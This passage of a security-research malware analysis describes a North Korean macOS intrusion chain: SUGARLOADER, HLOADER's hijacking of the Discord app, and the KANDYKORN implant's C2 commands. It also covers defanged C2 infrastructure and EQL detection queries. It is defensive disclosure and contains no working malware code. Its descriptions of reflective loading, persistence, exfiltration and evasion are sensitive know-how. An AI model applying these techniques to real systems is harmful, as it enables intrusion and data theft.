<p><code>FinderTools</code> is yet another dropper, downloading and executing a hidden second stage payload <code>.sld</code> also written to the <code>/Users/Shared/</code> directory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image5.png" alt="FinderTools executes .sld" /></p>
<h2>Stage 2 payload .sld and .log: SUGARLOADER</h2>
<p>Stage 2 involves the execution of an obfuscated binary we have named SUGARLOADER, which is utilized twice under two separate names (<code>.sld</code> and <code>.log</code>).</p>
<p>SUGARLOADER is first observed at <code>/Users/shared/.sld</code>. The second instance of SUGARLOADER, renamed to <code>.log</code>, is used in the persistence mechanism REF7001 implements with Discord.</p>
<h3>Obfuscation</h3>
<p>SUGARLOADER is used for initial access on the machine, and initializing the environment for the final stage. This binary is obfuscated using a binary packer, limiting what can be seen with static analysis.</p>
<p>The start function of this binary consists of a jump (<code>JMP</code>) to an undefined address. This is common for binary packers.</p>
<pre><code>HEADER:00000001000042D6 start:
HEADER:00000001000042D6                 jmp     0x10000681E
</code></pre>
<p>Executing the macOS file object tool <code>otool -l ./log</code> lists all the sections that will be loaded at runtime.</p>
<pre><code>Section
  sectname __mod_init_func
   segname lko2
      addr 0x00000001006983f0
      size 0x0000000000000008
    offset 4572144
     align 2^3 (8)
    reloff 0
    nreloc 0
     flags 0x00000009
 reserved1 0
 reserved2 0
</code></pre>
<p><code>__mod_init_func</code> contains initialization functions. The C++ compiler places static constructors here. This is the code used to unpack the binary in memory.</p>
<p>A successful method of reverse engineering such files is to place a breakpoint right after the execution of initialization functions and then take a snapshot of the process's virtual memory. When the breakpoint is hit, the code will already be decrypted in memory and can be analyzed using traditional methods.</p>
<p>Adversaries commonly use obfuscation techniques such as this to bypass traditional static signature-based antimalware capabilities. As of this publication, VirusTotal <a href="https://www.virustotal.com/gui/file/3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940">shows 0 detections of this file</a>, which suggests these defense evasions continue to be cost-effective.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image11.png" alt="SUGARLOADER VirusTotal Detections" /></p>
<h3>Execution</h3>
<p>The primary purpose of SUGARLOADER is to connect to a Command and Control server (C2), in order to download a final stage payload we refer to as KANDYKORN, and execute it directly in memory.</p>
<p>SUGARLOADER checks for the existence of a configuration file at <code>/Library/Caches/com.apple.safari.ck</code>. If the configuration file is missing, it will be downloaded and created via a default C2 address provided as a command line argument to the <code>.sld</code> binary. In our sample, the C2 address was <code>23.254.226[.]90</code> over TCP port <code>443</code>. We provide additional information about the C2 in the Network Infrastructure section below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image4.png" alt="SUGARLOADER C2 established and configuration file download" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image40.png" alt="SUGARLOADER writing configuration file" /></p>
<p>The configuration file is encrypted using RC4 and the encryption key (in the Observations section) is hardcoded within SUGARLOADER itself. The <code>com.apple.safari.ck</code> file is utilized by both SUGARLOADER and KANDYKORN for establishing secure network communications.</p>
<pre><code>struct MalwareConfig
{
  char computerId[8];
  _BYTE gap0[12];
  Url c2_urls[2];
  Hostname c2_ip_address[2];
  _BYTE proxy[200];
  int sleepInterval;
};
</code></pre>
<p><code>computerId</code> is a randomly generated string identifying the victim’s computer.</p>
<p>A C2 server can either be identified with a fully qualified URL (<code>c2_urls</code>) or with an IP address and port (<code>c2_ip_ddress</code>). It supports two C2 servers, one as the main server, and the second one as a fallback. The specification or hardcoding of multiple servers like this is commonly used by malicious actors to ensure their connection with the victim is persistent should the original C2 be taken down or blocked. <code>sleepInterval</code> is the default sleeping interval for the malware between separate actions.</p>
<p>Once the configuration file is read into memory and decrypted, the next step is to initialize a connection to the remote server. All the communication between the victim’s computer and the C2 server is detailed in the Network Protocol section.</p>
<p>The last step taken by SUGARLOADER is to download a final stage payload from the C2 server and execute it. REF7001 takes advantage of a technique known as <a href="https://attack.mitre.org/techniques/T1620/">reflective binary loading</a> (allocation followed by the execution of payloads directly within the memory of the process) to execute the final stage, leveraging APIs such as <code>NSCreateObjectFileImageFromMemory</code> or <code>NSLinkModule</code>. Reflective loading is a powerful technique. If you'd like to learn more about how it works, check out this research by <a href="https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f">slyd0g</a> and <a href="https://hackd.net/posts/macos-reflective-code-loading-analysis/">hackd</a>.</p>
<p>This technique can be utilized to execute a payload from an in-memory buffer. Fileless execution such as this <a href="https://objective-see.org/blog/blog_0x51.html">has been observed previously</a> in attacks conducted by the Lazarus Group.</p>
<p>SUGARLOADER reflectively loads a binary (KANDYKORN) and then creates a new file initially named <code>appname</code> which we refer to as <code>HLOADER</code> which we took directly from the process code signature’s signing identifier.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image12.png" alt="SUGARLOADER reflective binary load alert" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image36.png" alt="SUGARLOADER creates HLOADER" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image10.png" alt="HLOADER code signature identifier" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image34.png" alt="Pseudocode for SUGARLOADER (stage2)" /></p>
<h2>Stage 3 loader Discord: HLOADER</h2>
<p>HLOADER (<code>2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1</code>) is a payload that attempts to masquerade as the legitimate Discord application. As of this writing, <a href="https://www.virustotal.com/gui/file/2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1">it has 0 detections on VirusTotal</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image15.png" alt="HLOADER VirusTotal Detections" /></p>
<p>HLOADER was identified through the use of a macOS binary code-signing technique that has been <a href="https://objective-see.org/blog/blog_0x73.html">previously linked</a> to the <a href="https://www.eset.com/int/about/newsroom/press-releases/research/eset-research-discovers-new-lazarus-dreamjob-campaign-and-links-it-to-phone-provider-3cx-supply-chai/">DPRK’s Lazarus Group 3CX intrusion</a>. In addition to other published research, Elastic Security Labs has also used the presence of this technique as an indicator of DPRK campaigns, as seen in our June 2023 research publication on <a href="https://www.elastic.co/pt/security-labs/inital-research-of-jokerspy#the-xcc-binary">JOKERSPY</a>.</p>
<h3>Persistence</h3>
<p>We observed the threat actor adopting a technique we have not previously seen them use to achieve persistence on macOS, known as <a href="https://attack.mitre.org/techniques/T1574/">execution flow hijacking</a>. The target of this attack was the widely used application Discord. The Discord application is often configured by users as a login item and launched when the system boots, making it an attractive target for takeover. HLOADER is a self-signed binary written in Swift. The purpose of this loader is to execute both the legitimate Discord bundle and <code>.log</code> payload, the latter of which is used to execute Mach-O binary files from memory without writing them to disk.</p>
<p>The legitimate binary <code>/Applications/Discord.app/Contents/MacOS/Discord</code> was renamed to <code>.lock</code>, and replaced by <code>HLOADER</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image18.png" alt="Discord replaced by HLOADER" /></p>
<p>Below is the code signature information for <code>HLOADER</code>, which has a self-signed identifier structure consistent with other Lazarus Group samples.</p>
<pre><code>Executable=Applications/Discord.app/Contents/MacOS/Discord
Identifier=HLOADER-5555494485b460f1e2343dffaef9b94d01136320
Format=bundle with Mach-O universal (x86_64 arm64)
CodeDirectory flags=0x2(adhoc) hashes=12+7 location=embedded
</code></pre>
<p>When executed, <code>HLOADER</code> performs the following operations:</p>
<ul>
<li>Renames itself from <code>Discord</code> to <code>MacOS.tmp</code></li>
<li>Renames the legitimate Discord binary from <code>.lock</code> to <code>Discord</code></li>
<li>Executes both Discord and <code>.log</code> using <code>NSTask.launchAndReturnError</code></li>
<li>Renames both files back to their initial names</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image37.png" alt="HLOADER execution event chain" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image33.png" alt="HLOADER Discord Application Hijack" /></p>
<p>The following process tree also visually depicts how persistence is obtained. The root node <code>Discord</code> is actually HLOADER disguised as the legitimate app. As presented above, it first runs .lock, which is in fact Discord, and, alongside, spawns SUGARLOADER as a process named .log.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image23.png" alt="Process Tree Analyzer" /></p>
<p>As seen in stage 2, SUGARLOADER reads the configuration file, connects to the C2 server, and waits for a payload to be received. Another alert is generated when the new payload (KANDYKORN) is loaded into memory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image27.png" alt="Reflective Dylib Load Alert for KANDYKORN" /></p>
<h2>Stage 4 Payload: KANDYKORN</h2>
<p>KANDYKORN is the final stage of this execution chain and possesses a full-featured set of capabilities to access and exfiltrate data from the victim’s computer. Elastic Security Labs was able to retrieve this payload from one C2 server which hadn’t been deactivated yet.</p>
<h3>Execution</h3>
<p>KANDYCORN processes are forked and run in the background as daemons before loading their configuration file from <code>/Library/Caches/com.apple.safari.ck</code>. The configuration file is read into memory then decrypted using the same RC4 key, and parsed for C2 settings. The communication protocol is similar to prior stages using the victim ID value for authentication.</p>
<h3>Command and control</h3>
<p>Once communication is established, KANDYKORN awaits commands from the server. This is an interesting characteristic in that the malware waits for commands instead of polling for commands. This would reduce the number of endpoint and network artifacts generated and provide a way to limit potential discovery.</p>
<p>Each command is represented by an integer being transmitted, followed by the data that is specific to each action. Below is a list of the available commands KANDYKORN provides.</p>
<h4>Command 0xD1</h4>
<p>Action: Exit command where the program gracefully exists.</p>
<h4>Command 0xD2</h4>
<p>Name: <code>resp_basicinfo</code>
Action: Gathers information about the system such as hostname, uid, osinfo, and image path of the current process, and reports back to the server.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image16.png" alt="resp_basicinfo routine" /></p>
<h4>Command 0xD3</h4>
<p>Name: <code>resp_file_dir</code>
Action: Lists content of a directory and format the output similar to <code>ls -al</code>, including type, name, permissions, size, acl, path, and access time.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image20.png" alt="resp_file_dir routine" /></p>
<h4>Command 0xD4</h4>
<p>Name: <code>resp_file_prop</code></p>
<p>Action: Recursively read a directory and count the number of files, number of subdirectories, and total size.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image26.png" alt="resp_file_prop routine" /></p>
<h4>Command 0xD5</h4>
<p>Name: <code>resp_file_upload</code></p>
<p>Action: Used by the adversary to upload a file from their C2 server to the victim’s computer. This command specifies a path, creates it, and then proceeds to download the file content and write it to the victim’s computer.</p>
<h4>Command 0xD6</h4>
<p>Name: <code>resp_file_down</code></p>
<p>Action: Used by the adversary to transfer a file from the victim’s computer to their infrastructure.</p>
<h4>Command 0xD7</h4>
<p>Name: <code>resp_file_zipdown</code></p>
<p>Action: Archive a directory and exfiltrate it to the C2 server. The newly created archive’s name has the following pattern<code>/tmp/tempXXXXXXX</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image29.png" alt="_resp_file_zipdown routine _" /></p>
<h4>Command 0xD8</h4>
<p>Name: <code>resp_file_wipe</code>
Action: Overwrites file content to zero and deletes the file. This is a common technique used to impede recovering the file through digital forensics on the filesystem.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image28.png" alt="resp_file_wipe routine" /></p>
<h4>Command 0xD9</h4>
<p>Name: <code>resp_proc_list</code></p>
<p>Action: Lists all running processes on the system along with their PID, UID and other information.</p>
<h4>Command 0xDA</h4>
<p>Name: <code>resp_proc_kill</code></p>
<p>Action: Kills a process by specified PID.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image19.png" alt="resp_proc_kill routine" /></p>
<h4>Command 0xDB</h4>
<p>Name: <code>resp_cmd_send</code></p>
<p>Action: Executes a command on the system by using a pseudoterminal.</p>
<h4>Command 0xDC</h4>
<p>Name: <code>resp_cmd_recv</code></p>
<p>Action: Reads the command output from the previous command <code>resp_cmd_send</code>.</p>
<h4>Command 0xDD</h4>
<p>Name: <code>resp_cmd_create</code></p>
<p>Action: Spawns a shell on the system and communicates with it via a pseudoterminal. Once the shell process is executed, commands are read and written through the <code>/dev/pts</code> device.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image38.png" alt="resp_cmd_create routine (interactive shell)" /></p>
<h4>Command 0xDE</h4>
<p>Name: <code>resp_cfg_get</code></p>
<p>Action: Sends the current configuration to the C2 from <code>/Library/Caches/com.apple.safari.ck</code>.</p>
<h4>Command 0xDF</h4>
<p>Name: <code>resp_cfg_set</code></p>
<p>Action: Download a new configuration file to the victim’s machine. This is used by the adversary to update the C2 hostname that should be used to retrieve commands from.</p>
<h4>Command 0xE0</h4>
<p>Name: <code>resp_sleep</code></p>
<p>Action: Sleeps for a number of seconds.</p>
<h3>Summary</h3>
<p>KANDYKORN is an advanced implant with a variety of capabilities to monitor, interact with, and avoid detection. It utilizes reflective loading, a direct-memory form of execution that may bypass detections.</p>
<h2>Network protocol</h2>
<p>All the executables that communicate with the C2 (both stage 3 and stage 4) are using the same protocol. All the data is encrypted with RC4 and uses the same key previously referenced in the configuration file.</p>
<p>Both samples implement wrappers around the send-and-receive system calls. It can be observed in the following pseudocode that during the send routine, the buffer is first encrypted and then sent to the socket, whereas when data is received it is first decrypted and then processed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image22.png" alt="send routine" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image32.png" alt="recv routine" /></p>
<p>When the malware first connects to the C2 during the initialization phase, there is a handshake that needs to be validated in order to proceed. Should the handshake fail, the attack would stop and no other commands would be processed.</p>
<p>On the client side, a random number is generated and sent to the C2, which replies with a nonce variable. The client then computes a challenge with the random number and the received nonce and sends the result back to the server. If the challenge is successful and the server accepts the connection, it replies with a constant such as <code>0x41C3372</code> which appears in the analyzed sample.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image39.png" alt="Handshake routine" /></p>
<p>Once the connection is established, the client sends its ID and awaits commands from the server. Any subsequent data sent or received from here is serialized following a common schema used to serialize binary objects. First, the length of the content is sent, then the payload, followed by a return code which indicates if any error occurred.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image6.png" alt="Overview of communication protocol" /></p>
<h2>Network infrastructure</h2>
<p>During REF7001, the adversary was observed communicating with network infrastructure to collect various payloads and loaders for different stages of the intrusion.</p>
<p>As detailed in the Stage 1 section above, the link to the initial malware archive, <code>Cross-Platform Bridges.zip</code>, was provided in a direct message on a popular blockchain Discord server. This archive was hosted on a Google Drive (<code>https://drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2</code>), but this was removed shortly after the archive was downloaded.</p>
<p>Throughout the analysis of the REF7001 intrusion, there were two C2 servers observed.</p>
<ul>
<li><code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code></li>
<li><code>23.254.226[.]90</code></li>
</ul>
<h3>tp-globa[.]xyz</h3>
<p>The C2 domain <code>tp-globa[.]xyz</code> is used by <code>FinderTools</code> to download SUGARLOADER and is likely an attempt at <a href="https://en.wikipedia.org/wiki/Typosquatting">typosquatting</a> a legitimate foreign exchange market broker. We do not have any information to indicate that the legitimate company is involved in this intrusion. This typosquatted domain was likely chosen in an attempt to appear more legitimate to the victims of the intrusion.</p>
<p><code>tp-globa[.]xyz</code>, as of this writing, resolves to an IP address (<code>192.119.64[.]43</code>) that has been observed distributing malware attributed to the DPRK’s Lazarus Group (<a href="https://twitter.com/TLP_R3D/status/1677617586349981696">1</a>, <a href="https://twitter.com/_reboot_xxxx/status/1679054436289880065">2</a>, <a href="https://twitter.com/KSeznec/status/1678319191110082560">3</a>).</p>
<h3>23.254.226[.]90</h3>
<p>23.254.226[.]90 is the C2 IP used for the <code>.sld</code> file (SUGARLOADER malware). How this IP is used for C2 is highlighted in the stage 2 section above.</p>
<p>On October 14, 2023, <code>23.254.226[.]90</code> was used to register the subdomain, <code>pesnam.publicvm[.]com</code>. While we did not observe this domain in our intrusion, it is <a href="https://www.virustotal.com/gui/domain/publicvm.com/detection">documented</a> as hosting other malicious software.</p>
<h2>Campaign intersections</h2>
<p><code>tp-globa[.]xyz</code>, has a TLS certificate with a Subject CN of <code>bitscrunnch.linkpc[.]net</code>. The domain <code>bitscrunnch.linkpc[.]net</code> has been <a href="https://twitter.com/tiresearch1/status/1708141542261809360?s=20">attributed</a> to other Lazarus Group intrusions.</p>
<p>As noted above, this is likely an attempt to typosquat a legitimate domain for a decentralized NFT data platform. We do not have any information to indicate that the legitimate company is involved in this intrusion.</p>
<pre><code>…
Issuer: C = US, O = Let's Encrypt, CN = R3
Validity
Not Before: Sep 20 12:55:37 2023 GMT
Not After : Dec 19 12:55:36 2023 GMT
Subject: CN = bitscrunnch[.]linkpc[.]net
…
</code></pre>
<p>The <code>bitscrunnch.linkpc[.]net</code>’s TLS certificate is also used for <a href="https://www.virustotal.com/gui/search/entity%253Adomain%2520ssl_subject%253Abitscrunnch.linkpc.net/domains">other additional domains</a>, all of which are registered to the same IP address reported above in the <code>tp-globa[.]xyz</code> section above, <code>192.119.64[.]43</code>.</p>
<ul>
<li><code>jobintro.linkpc[.]net</code></li>
<li><code>jobdescription.linkpc[.]net</code></li>
<li><code>docsenddata.linkpc[.]net</code></li>
<li><code>docsendinfo.linkpc[.]net</code></li>
<li><code>datasend.linkpc[.]net</code></li>
<li><code>exodus.linkpc[.]net</code></li>
<li><code>bitscrunnch.run[.]place</code></li>
<li><code>coupang-networks[.]pics</code></li>
</ul>
<p>While LinkPC is a legitimate second-level domain and dynamic DNS service provider, it is <a href="https://www.virustotal.com/gui/domain/linkpc.net/community">well-documented</a> that this specific service is used by threat actors for C2. In our <a href="https://www.elastic.co/pt/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket">published research into RUSTBUCKET</a>, which is also attributed to the DPRK, we observed LinkPC being used for C2.</p>
<p>All registered domains, 48 as of this writing, for <code>192.119.64[.]43</code> are included in the observables bundle.</p>
<p>Finally, in late July 2023, there were reports on the Subreddits <a href="https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/">r/hacking</a>, <a href="https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/">r/Malware</a>, and <a href="https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/">r/pihole</a> with URLs that matched the structure of <code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code>. The user on Reddit reported that a recruiter contacted them to solve a Python coding challenge as part of a job offer. The code challenge was to analyze Python code purported to be for an internet speed test. This aligns with the REF7001 victim’s reporting on being offered a Python coding challenge and the script name <code>testSpeed.py</code> detailed earlier in this research.</p>
<p>The domain reported on Reddit was <code>group.pro-tokyo[.]top//OcRLY4xsFlN/vMZrXIWONw/6OyCZl89HS/fP7savDX6c/bfC</code> which follows the same structure as the REF7001 URL (<code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code>):</p>
<ul>
<li>Two <code>//</code>’s after the TLD</li>
<li>5 subdirectories using an <code>//11-characters/10-characters/10-characters/</code> structure</li>
<li>The last 2 subdirectories were <code>/fP7savDX6c/bfC</code></li>
</ul>
<p>While we did not observe GitHub in our intrusion, the Redditors who reported this did observe GitHub profiles being used. They have all been deactivated.</p>
<p>Those accounts were:</p>
<ul>
<li><code>https://github[.]com/Prtof</code></li>
<li><code>https://github[.]com/wokurks</code></li>
</ul>
<h2>Summary</h2>
<p>The DPRK, via units like the LAZARUS GROUP, continues to target crypto-industry businesses with the goal of stealing cryptocurrency in order to circumvent international sanctions that hinder the growth of their economy and ambitions. In this intrusion, they targeted blockchain engineers active on a public chat server with a lure designed to speak to their skills and interests, with the underlying promise of financial gain.</p>
<p>The infection required interactivity from the victim that would still be expected had the lure been legitimate. Once executed, via a Python interpreter, the REF7001 execution flow went through 5 stages:</p>
<ul>
<li>Stage 0 (staging) - <code>Main.py</code> executes <code>Watcher.py</code> as an imported module. This script checks the Python version, prepares the local system directories, then downloads, executes, and cleans up the next stage.</li>
<li>Stage 1 (generic droppers) - <code>testSpeed.py</code> and <code>FinderTools</code> are intermediate dropper Python scripts that download and execute SUGARLOADER.</li>
<li>Stage 2 (SUGARLOADER) - <code>.sld</code> and <code>.log</code> are Mach-O executable payloads that establish C2, write the configuration file and reflectively load KANDYKORN.</li>
<li>Stage 3 (HLOADER) - <code>HLOADER</code>/<code>Discord</code>(fake) is a simple loader used as a persistence mechanism masquerading as the legitimate Discord app for the loading of SUGARLOADER.</li>
<li>Stage 4 (KANDYKORN) - The final reflectively loaded payload. KANDYKORN is a full-featured memory resident RAT with built-in capabilities to:
<ul>
<li>Conduct encrypted command and control</li>
<li>Conduct system enumeration</li>
<li>Upload and execute additional payloads</li>
<li>Compress and exfil data</li>
<li>Kill processes</li>
<li>Run arbitrary system commands through an interactive pseudoterminal</li>
</ul>
</li>
</ul>
<p>Elastic traced this campaign to April 2023 through the RC4 key used to encrypt the SUGARLOADER and KANDYKORN C2. This threat is still active and the tools and techniques are being continuously developed.</p>
<h2>The Diamond Model</h2>
<p>Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for an, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image30.jpg" alt="REF7001 Diamond Model" /></p>
<h2>[Malware] and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/006/">Command and Scripting Interpreter: Python</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/004/">Command and Scripting Interpreter: Unix Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/">Hijack Execution Flow</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/002/">Obfuscated Files or Information: Software Packing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1560/003/">Archive Collected Data: Archive via Custom Method</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1008/">Fallback Channels</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
</ul>
<h2>Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar">MacOS.Trojan.SUGARLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar">MacOS.Trojan.HLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar">MacOS.Trojan.KANDYKORN</a></li>
</ul>
<h2>Malware detection capabilities</h2>
<h3>Hunting queries</h3>
<p>The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.</p>
<p>The following EQL query can be used to identify when a hidden executable creates and then immediately deletes a file within a temporary directory:</p>
<pre><code>sequence by process.entity_id, file.path with maxspan=30s
  [file where event.action == &quot;modification&quot; and process.name : &quot;.*&quot; and 
   file.path : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;)]
  [file where event.action == &quot;deletion&quot; and process.name : &quot;.*&quot; and 
   file.path : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;)]
</code></pre>
<p>The following EQL query can be used to identify when a hidden file makes an outbound network connection followed by the immediate download of an executable file:</p>
<pre><code>sequence by process.entity_id with maxspan=30s
[network where event.type == &quot;start&quot; and process.name : &quot;.*&quot;]
[file where event.action != &quot;deletion&quot; and file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;)]
</code></pre>
<p>The following EQL query can be used to identify when a macOS application binary gets renamed to a hidden file name within the same directory:</p>
<pre><code>file where event.action == &quot;rename&quot; and file.name : &quot;.*&quot; and 
 file.path : &quot;/Applications/*/Contents/MacOS/*&quot; and 
 file.Ext.original.path : &quot;/Applications/*/Contents/MacOS/*&quot; and 
 not startswith~(file.Ext.original.path,Effective_process.executable)
</code></pre>
<p>The following EQL query can be used to identify when an IP address is supplied as an argument to a hidden executable:</p>
<pre><code>sequence by process.entity_id with maxspan=30s
[process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.name : &quot;.*&quot; and process.args regex~ &quot;[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}&quot;]
[network where event.type == &quot;start&quot;]
</code></pre>
<p>The following EQL query can be used to identify the rename or modification of a hidden executable file within the /Users/Shared directory or the execution of a hidden unsigned or untrusted process in the /Users/Shared directory:</p>
<pre><code>any where 
 (
  (event.category : &quot;file&quot; and event.action != &quot;deletion&quot; and file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;) and 
   file.path : &quot;/Users/Shared/*&quot; and file.name : &quot;.*&quot; ) or 
  (event.category : &quot;process&quot; and event.action == &quot;exec&quot; and process.executable : &quot;/Users/Shared/*&quot; and 
   (process.code_signature.trusted == false or process.code_signature.exists == false) and process.name : &quot;.*&quot;)
 )
</code></pre>
<p>The following EQL query can be used to identify when a URL is supplied as an argument to a python script via the command line:</p>
<pre><code>sequence by process.entity_id with maxspan=30s
[process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
 process.args : &quot;python*&quot; and process.args : (&quot;/Users/*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/private/tmp/*&quot;) and process.args : &quot;http*&quot; and 
 process.args_count &amp;lt;= 3 and 
 not process.name : (&quot;curl&quot;, &quot;wget&quot;)]
[network where event.type == &quot;start&quot;]
</code></pre>
<p>The following EQL query can be used to identify the attempt of in memory Mach-O loading specifically by looking for the predictable temporary file creation of &quot;NSCreateObjectFileImageFromMemory-*&quot;:</p>
<pre><code>file where event.type != &quot;deletion&quot; and 
file.name : &quot;NSCreateObjectFileImageFromMemory-*&quot;
</code></pre>
<p>The following EQL query can be used to identify the attempt of in memory Mach-O loading by looking for the load of the &quot;NSCreateObjectFileImageFromMemory-*&quot; file or a load with no dylib name provided:</p>
<pre><code>any where ((event.action == &quot;load&quot; and not dll.path : &quot;?*&quot;) or 
  (event.action == &quot;load&quot; and dll.name : &quot;NSCreateObjectFileImageFromMemory*&quot;))
</code></pre>
